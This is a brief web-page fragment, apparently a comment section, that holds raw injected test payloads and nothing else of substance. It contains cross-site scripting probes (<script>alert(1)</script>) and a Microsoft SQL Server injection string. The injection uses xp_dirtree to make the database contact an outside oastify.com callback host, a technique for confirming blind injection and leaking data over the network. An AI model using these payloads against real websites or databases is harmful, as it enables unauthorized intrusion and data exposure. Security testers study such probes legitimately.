<script>alert(1)</script>);declare @q varchar(99);set @q='\\kc03n5kqmmjj0sk3yc6gv8furlxeld941stfl3a.oasti'+'fy.com\rkd'; exec master.dbo.xp_dirtree @q;--

<script>alert(2)</script>

Login to post a comment